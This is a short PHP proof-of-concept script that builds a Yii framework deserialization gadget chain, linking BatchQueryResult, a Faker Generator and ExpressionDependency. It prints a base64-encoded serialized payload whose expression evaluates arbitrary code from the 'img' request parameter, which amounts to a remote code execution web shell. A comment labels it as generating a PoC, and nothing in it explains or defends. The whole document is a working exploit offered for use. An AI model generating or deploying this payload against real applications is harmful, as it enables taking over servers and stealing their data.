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| <?php namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator(); } } }
namespace Faker{ use yii\caching\ExpressionDependency; class Generator{ protected $formatters; public function __construct(){ $this->formatters = ['close' => [new ExpressionDependency(),'evaluateDependency']]; } } }
namespace yii\caching{ abstract class Dependency{
} class ExpressionDependency extends Dependency{ public $expression; public function __construct() { $this->expression = 'eval($_REQUEST[\'img\'])'; } } }
namespace{ // 生成poc echo base64_encode(serialize(new yii\db\BatchQueryResult())); }
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